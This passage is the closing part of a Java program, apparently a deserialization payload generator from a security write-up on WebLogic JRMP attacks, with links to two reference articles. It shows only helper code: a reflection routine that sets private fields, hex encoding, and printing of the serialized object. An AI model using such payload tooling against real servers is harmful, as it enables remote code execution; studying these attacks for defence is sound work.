System.out.println(bytesTohexString(ser.toByteArray()));
}
public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field=obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}
public static String bytesTohexString(byte[] bytes) {
if (bytes == null)
return null;
StringBuilder ret = new StringBuilder(2 * bytes.length);
for (int i = 0; i < bytes.length; i++) {
int b = 0xF & bytes[i] >> 4;
ret.append("0123456789abcdef".charAt(b));
b = 0xF & bytes[i];
ret.append("0123456789abcdef".charAt(b));
}
return ret.toString();
}
}
参考文章
https://www.anquanke.com/post/id/251921#h3-5
https://y4er.com/post/weblogic-jrmp/